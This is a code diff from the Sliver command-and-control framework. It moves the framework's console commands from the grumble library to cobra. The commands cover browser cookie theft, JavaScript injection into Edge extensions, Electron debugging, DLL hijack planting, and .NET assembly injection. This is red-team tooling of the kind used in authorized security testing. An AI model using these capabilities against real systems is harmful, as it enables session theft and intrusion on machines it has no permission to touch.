 	curse := selectCursedProcess(con)
 	if curse == nil {
 		return
@@ -46,24 +47,24 @@ func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if len(cookies) == 0 {
 		return
 	}
-	saveFile := ctx.Flags.String("save")
+
+	saveFile, _ := cmd.Flags().GetString("save")
 	if saveFile == "" {
 		saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
 	}
-	jsonCookies := []string{}
-	for _, cookie := range cookies {
-		jsonCookie, err := cookie.MarshalJSON()
-		if err != nil {
-			con.PrintErrorf("Failed to marshal cookie: %s\n", err)
-			continue
-		}
-		jsonCookies = append(jsonCookies, string(jsonCookie))
+
+	jsonBytes, err := json.MarshalIndent(cookies, "", "  ")
+	if err != nil {
+		con.PrintErrorf("Failed to marshal cookies: %s\n", err)
+		return
 	}
-	err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
+
+	err = os.WriteFile(saveFile, jsonBytes, 0o600)
 	if err != nil {
 		con.PrintErrorf("Failed to save cookies: %s\n", err)
 		return
 	}
+
 	con.PrintInfof("Saved to %s", saveFile)
 	con.Println()
 }
@@ -20,7 +20,7 @@ package cursed

 import (
 	"context"
-	"io/ioutil"
+	"os"
 	"strings"

 	"github.com/AlecAivazis/survey/v2"
@@ -30,28 +30,28 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 )

-// CursedChromeCmd - Execute a .NET assembly in-memory
-func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// CursedChromeCmd - Execute a .NET assembly in-memory.
+func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

-	payloadPath := ctx.Flags.String("payload")
+	payloadPath, _ := cmd.Flags().GetString("payload")
 	var payload []byte
 	var err error
 	if payloadPath != "" {
-		payload, err = ioutil.ReadFile(payloadPath)
+		payload, err = os.ReadFile(payloadPath)
 		if err != nil {
 			con.PrintErrorf("Could not read payload file: %s\n", err)
 			return
 		}
 	}

-	curse := avadaKedavraEdge(session, ctx, con)
+	curse := avadaKedavraEdge(session, cmd, con, args)
 	if curse == nil {
 		return
 	}
@@ -79,10 +79,10 @@ func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf("success!\n")
 		con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
 		con.PrintInfof("Injecting payload ... ")
-		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
-		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
+		cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
 		// defer cancel()
-		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -94,8 +94,8 @@ func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

-func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
-	edgeProcess, err := getEdgeProcess(session, ctx, con)
+func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess {
+	edgeProcess, err := getEdgeProcess(session, cmd, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -116,7 +116,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
 			return nil
 		}
 		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(ctx),
+			Request: con.ActiveTarget.Request(cmd),
 			Pid:     edgeProcess.GetPid(),
 		})
 		if err != nil {
@@ -128,7 +128,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
 			return nil
 		}
 	}
-	curse, err := startCursedChromeProcess(true, session, ctx, con)
+	curse, err := startCursedChromeProcess(true, session, cmd, con, cargs)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -137,7 +137,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
 }

 func isEdgeProcess(executable string) bool {
-	var edgeProcessNames = []string{
+	edgeProcessNames := []string{
 		"msedge",         // Linux
 		"microsoft-edge", // Linux
 		"msedge.exe",     // Windows
@@ -151,9 +151,9 @@ func isEdgeProcess(executable string) bool {
 	return false
 }

-func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) {
 	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 	})
 	if err != nil {
 		return nil, err
@@ -34,22 +34,22 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 )

-func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

-	electronExe := ctx.Flags.String("exe")
+	electronExe, _ := cmd.Flags().GetString("exe")
 	if electronExe == "" {
 		con.PrintErrorf("Missing --exe flag, see --help\n")
 		return
 	}

-	curse := avadaKedavraElectron(electronExe, session, ctx, con)
+	curse := avadaKedavraElectron(electronExe, session, cmd, con, args)
 	if curse == nil {
 		return
 	}
@@ -67,8 +67,8 @@ func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
 }

-func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
-	exists, err := checkElectronPath(electronExe, session, ctx, con)
+func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess {
+	exists, err := checkElectronPath(electronExe, session, cmd, con)
 	if err != nil {
 		con.PrintErrorf("%s", err)
 		return nil
@@ -77,7 +77,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
 		con.PrintErrorf("Executable path does not exist: %s", electronExe)
 		return nil
 	}
-	electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
+	electronProcess, err := checkElectronProcess(electronExe, session, cmd, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -98,7 +98,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
 			return nil
 		}
 		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(ctx),
+			Request: con.ActiveTarget.Request(cmd),
 			Pid:     electronProcess.Pid,
 		})
 		if err != nil {
@@ -110,7 +110,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
 			return nil
 		}
 	}
-	curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
+	curse, err := startCursedElectronProcess(electronExe, session, cmd, con, cargs)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -118,9 +118,9 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
 	return curse
 }

-func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
+func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) {
 	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 		Path:    electronExe,
 	})
 	if err != nil {
@@ -129,9 +129,9 @@ func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumb
 	return ls.GetExists(), nil
 }

-func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) {
 	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 	})
 	if err != nil {
 		return nil, err
@@ -147,21 +147,21 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *gr
 	return nil, nil
 }

-func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) {
 	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
-	debugPort := getRemoteDebuggerPort(ctx)
+	debugPort := getRemoteDebuggerPort(cmd)
 	args := []string{
 		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
 	}
-	additionalArgs := ctx.Args.StringList("args")
-	if len(additionalArgs) > 0 {
-		args = append(args, additionalArgs...)
+
+	if len(cargs) > 0 {
+		args = append(args, cargs...)
 	}

 	// Execute the Chrome process with the extra flags
 	// TODO: PPID spoofing, etc.
 	electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 		Path:    electronExe,
 		Args:    args,
 		Output:  false,
@@ -213,21 +213,3 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c

 	return curse, nil
 }
-
-func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
-	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		return nil, err
-	}
-	for _, process := range ps.Processes {
-		if process.GetOwner() != session.GetUsername() {
-			continue
-		}
-		if isChromeProcess(process.GetExecutable()) {
-			return process, nil
-		}
-	}
-	return nil, nil
-}
@@ -20,21 +20,27 @@ package cursed

 import (
 	"context"
+	"strconv"

 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 )

-func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
-	kill := ctx.Flags.Bool("kill")
-	bindPort := ctx.Args.Int("bind-port")
+	bindPort, err := strconv.Atoi(args[0])
+	if err != nil {
+		con.PrintErrorf("Failed to parse bind port argument: %s (%s)", args[0], err.Error())
+		return
+	}
+
+	kill, _ := cmd.Flags().GetBool("kill")
 	core.CloseCursedProcessesByBindPort(session.ID, bindPort)
 	if kill {
 		confirm := false
@@ -60,7 +66,7 @@ func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(ctx),
+			Request: con.ActiveTarget.Request(cmd),
 			Pid:     int32(cursedProc.PID),
 		})
 		if err != nil {
@@ -20,15 +20,15 @@ package cursed

 import (
 	"fmt"
-	"io/ioutil"
+	"os"
 	"time"

 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 )

-func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	curse := selectCursedProcess(con)
 	if curse == nil {
 		return
@@ -46,7 +46,7 @@ func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		return
 	}
 	con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
-	quality := ctx.Flags.Int64("quality")
+	quality, _ := cmd.Flags().GetInt64("quality")
 	if quality < 1 || quality > 100 {
 		con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
 		return
@@ -56,11 +56,11 @@ func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("Failed to take screenshot: %s\n", err)
 		return
 	}
-	saveFile := ctx.Flags.String("save")
+	saveFile, _ := cmd.Flags().GetString("save")
 	if saveFile == "" {
 		saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
 	}
-	err = ioutil.WriteFile(saveFile, data, 0644)
+	err = os.WriteFile(saveFile, data, 0o644)
 	if err != nil {
 		con.PrintErrorf("Failed to save screenshot: %s\n", err)
 		return
@@ -30,12 +30,12 @@ import (
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
-	"github.com/desertbit/grumble"
 	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
 )

-// CursedChromeCmd - Execute a .NET assembly in-memory
-func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// CursedChromeCmd - Execute a .NET assembly in-memory.
+func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	// Collect existing curses from core
 	cursedProcesses := [][]string{}
 	core.CursedProcesses.Range(func(key, value interface{}) bool {
@@ -70,8 +70,8 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

-// selectCursedProcess - Interactively select a cursed process from a list
-func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
+// selectCursedProcess - Interactively select a cursed process from a list.
+func selectCursedProcess(con *console.SliverClient) *core.CursedProcess {
 	cursedProcesses := []*core.CursedProcess{}
 	core.CursedProcesses.Range(func(key, value interface{}) bool {
 		cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
@@ -112,8 +112,8 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
 	return port2process[selectedPortNumber]
 }

-func getRemoteDebuggerPort(ctx *grumble.Context) int {
-	port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
+func getRemoteDebuggerPort(cmd *cobra.Command) int {
+	port, _ := cmd.Flags().GetInt("remote-debugging-port")
 	if port == 0 {
 		port = insecureRand.Intn(30000) + 10000
 	}
@@ -0,0 +1,43 @@
+package dllhijack
+
+import (
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/generate"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+)
+
+// Commands returns the “ command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	dllhijackCmd := &cobra.Command{
+		Use:         consts.DLLHijackStr,
+		Short:       "Plant a DLL for a hijack scenario",
+		Long:        help.GetHelpFor([]string{consts.DLLHijackStr}),
+		GroupID:     consts.ExecutionHelpGroup,
+		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
+		Args:        cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			DllHijackCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, dllhijackCmd, func(f *pflag.FlagSet) {
+		f.StringP("reference-path", "r", "", "Path to the reference DLL on the remote system")
+		f.StringP("reference-file", "R", "", "Path to the reference DLL on the local system")
+		f.StringP("file", "f", "", "Local path to the DLL to plant for the hijack")
+		f.StringP("profile", "p", "", "Profile name to use as a base DLL")
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	flags.BindFlagCompletions(dllhijackCmd, func(comp *carapace.ActionMap) {
+		(*comp)["reference-file"] = carapace.ActionFiles()
+		(*comp)["file"] = carapace.ActionFiles()
+		(*comp)["profile"] = generate.ProfileNameCompleter(con)
+	})
+	carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
+
+	return []*cobra.Command{dllhijackCmd}
+}
@@ -21,11 +21,12 @@ package dllhijack
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
+	"os"
+
+	"github.com/spf13/cobra"

 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/desertbit/grumble"
 )

 // dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
@@ -33,7 +34,7 @@ import (
 // dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll  TARGET_PATH

 // DllHijackCmd -- implements the dllhijack command
-func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func DllHijackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	var (
 		localRefData  []byte
 		targetDLLData []byte
@@ -44,11 +45,12 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}

-	targetPath := ctx.Args.String("target-path")
-	referencePath := ctx.Flags.String("reference-path")
-	localFile := ctx.Flags.String("file")
-	profileName := ctx.Flags.String("profile")
-	localReferenceFilePath := ctx.Flags.String("reference-file")
+	targetPath := args[0]
+
+	referencePath, _ := cmd.Flags().GetString("reference-path")
+	localFile, _ := cmd.Flags().GetString("file")
+	profileName, _ := cmd.Flags().GetString("profile")
+	localReferenceFilePath, _ := cmd.Flags().GetString("reference-file")

 	if referencePath == "" {
 		con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
@@ -56,7 +58,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}

 	if localReferenceFilePath != "" {
-		localRefData, err = ioutil.ReadFile(localReferenceFilePath)
+		localRefData, err = os.ReadFile(localReferenceFilePath)
 		if err != nil {
 			con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
 			return
@@ -68,7 +70,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("please use either --profile or --File")
 			return
 		}
-		targetDLLData, err = ioutil.ReadFile(localFile)
+		targetDLLData, err = os.ReadFile(localFile)
 		if err != nil {
 			con.PrintErrorf("Error: %s\n", err)
 			return
@@ -83,7 +85,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		TargetLocation:   targetPath,
 		ReferenceDLL:     localRefData,
 		TargetDLL:        targetDLLData,
-		Request:          con.ActiveTarget.Request(ctx),
+		Request:          con.ActiveTarget.Request(cmd),
 		ProfileName:      profileName,
 	})
 	ctrl <- true
@@ -0,0 +1,59 @@
+package environment
+
+import (
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+)
+
+// Commands returns the “ command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	envCmd := &cobra.Command{
+		Use:   consts.EnvStr,
+		Short: "List environment variables",
+		Long:  help.GetHelpFor([]string{consts.EnvStr}),
+		Args:  cobra.RangeArgs(0, 1),
+		Run: func(cmd *cobra.Command, args []string) {
+			EnvGetCmd(cmd, con, args)
+		},
+		GroupID: consts.InfoHelpGroup,
+	}
+	flags.Bind("", true, envCmd, func(f *pflag.FlagSet) {
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	carapace.Gen(envCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable to fetch (optional)"))
+
+	envSetCmd := &cobra.Command{
+		Use:   consts.SetStr,
+		Short: "Set environment variables",
+		Long:  help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}),
+		Args:  cobra.ExactArgs(2),
+		Run: func(cmd *cobra.Command, args []string) {
+			EnvSetCmd(cmd, con, args)
+		},
+	}
+	envCmd.AddCommand(envSetCmd)
+	carapace.Gen(envSetCmd).PositionalCompletion(
+		carapace.ActionValues().Usage("environment variable name"),
+		carapace.ActionValues().Usage("value to assign"),
+	)
+
+	envUnsetCmd := &cobra.Command{
+		Use:   consts.UnsetStr,
+		Short: "Clear environment variables",
+		Long:  help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			EnvUnsetCmd(cmd, con, args)
+		},
+	}
+	envCmd.AddCommand(envUnsetCmd)
+	carapace.Gen(envUnsetCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable name"))
+
+	return []*cobra.Command{envCmd}
+}
@@ -21,24 +21,30 @@ package environment
 import (
 	"context"

+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-	"google.golang.org/protobuf/proto"
 )

 // EnvGetCmd - Get a remote environment variable
-func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	name := ctx.Args.String("name")
+	var name string
+	if len(args) > 0 {
+		name = args[0]
+	}
+
 	envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
 		Name:    name,
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -60,7 +66,7 @@ func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }

 // PrintGetEnvInfo - Print the results of the env get command
-func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
+func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverClient) {
 	if envInfo.Response != nil && envInfo.Response.Err != "" {
 		con.PrintErrorf("%s\n", envInfo.Response.Err)
 		return
@@ -21,23 +21,25 @@ package environment
 import (
 	"context"

+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-	"google.golang.org/protobuf/proto"
 )

 // EnvSetCmd - Set a remote environment variable
-func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	name := ctx.Args.String("name")
-	value := ctx.Args.String("value")
+	name := args[0]
+	value := args[1]
 	if name == "" || value == "" {
 		con.PrintErrorf("Usage: setenv KEY VALUE\n")
 		return
@@ -48,7 +50,7 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Key:   name,
 			Value: value,
 		},
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -67,11 +69,10 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	} else {
 		PrintSetEnvInfo(name, value, envInfo, con)
 	}
-
 }

 // PrintSetEnvInfo - Print the set environment info
-func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
+func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverClient) {
 	if envInfo.Response != nil && envInfo.Response.Err != "" {
 		con.PrintErrorf("%s\n", envInfo.Response.Err)
 		return
@@ -21,21 +21,23 @@ package environment
 import (
 	"context"

+	"google.golang.org/protobuf/proto"
+
+	"github.com/spf13/cobra"
+
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-	"google.golang.org/protobuf/proto"
 )

 // EnvUnsetCmd - Unset a remote environment variable
-func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	name := ctx.Args.String("name")
+	name := args[0]
 	if name == "" {
 		con.PrintErrorf("Usage: setenv NAME\n")
 		return
@@ -43,9 +45,8 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {

 	unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
 		Name:    name,
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 	})
-
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -63,11 +64,10 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	} else {
 		PrintUnsetEnvInfo(name, unsetResp, con)
 	}
-
 }

 // PrintUnsetEnvInfo - Print the set environment info
-func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
+func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverClient) {
 	if envInfo.Response != nil && envInfo.Response.Err != "" {
 		con.PrintErrorf("%s\n", envInfo.Response.Err)
 		return
@@ -0,0 +1,277 @@
+package exec
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/generate"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the “ command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	executeCmd := &cobra.Command{
+		Use:   consts.ExecuteStr,
+		Short: "Execute a program on the remote system",
+		Long:  help.GetHelpFor([]string{consts.ExecuteStr}),
+		Args:  cobra.MinimumNArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			ExecuteCmd(cmd, con, args)
+		},
+		GroupID: consts.ExecutionHelpGroup,
+	}
+	flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
+		f.BoolP("token", "T", false, "execute command with current token (Windows only)")
+		f.BoolP("output", "o", false, "capture command output")
+		f.BoolP("save", "s", false, "save output to a file")
+		f.BoolP("loot", "X", false, "save output as loot")
+		f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
+		f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
+		f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
+		f.StringP("name", "n", "", "name to assign loot (optional)")
+		f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
+		f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)")
+
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	executeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
+
+	carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
+	carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
+
+	executeAssemblyCmd := &cobra.Command{
+		Use:   consts.ExecuteAssemblyStr,
+		Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
+		Long:  help.GetHelpFor([]string{consts.ExecuteAssemblyStr}),
+		Args:  cobra.MinimumNArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			ExecuteAssemblyCmd(cmd, con, args)
+		},
+		GroupID:     consts.ExecutionHelpGroup,
+		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
+	}
+	flags.Bind("", false, executeAssemblyCmd, func(f *pflag.FlagSet) {
+		f.StringP("process", "p", "notepad.exe", "hosting process to inject into")
+		f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
+		f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
+		f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+		f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+		f.BoolP("in-process", "i", false, "Run in the current sliver process")
+		f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
